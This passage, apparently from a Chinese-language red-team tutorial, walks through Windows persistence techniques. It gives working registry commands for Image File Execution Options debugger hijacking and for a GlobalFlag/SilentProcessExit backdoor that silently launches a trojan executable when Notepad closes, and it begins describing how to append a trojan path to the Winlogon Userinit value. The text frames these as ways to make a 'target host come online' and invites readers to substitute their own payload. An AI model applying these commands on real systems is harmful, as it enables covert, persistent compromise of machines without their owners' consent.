这里我们将记事本劫持为计算器，当然计算机也可以修改为自己的木马，让其上线。
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32
REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32
隐藏劫持就是配合GlobalFlag来实现，执行正常关闭后触发，也就是说当记事本执行后，木马是不会被执行的，同时记事本依旧是能够正常运行的，相当于无感操作，但是当关闭记事本的时候，就会自动触发执行后门木马。
5.3.1. 操作演示这里我们修改一下，自行看命令，把一些内容修改成你自己的即可。
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\1\3000.exe"
这里我们打开记事本后再点击关闭，目标主机就自动上线了。
这个就是利用在锁屏后登陆的时候触发的一些程序，在这些程序后添加还要运行的程序即可。
6.1. 配合无文件落地上线其实也就是修改注册表在对应的值中加入木马路径，当触发登陆就会自动执行了木马。
6.1.1. 查看注册表在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon中的Userinit对于的值是当前用户登陆的时候会触发的程序，这里我们就在这个值后面添加木马路径。
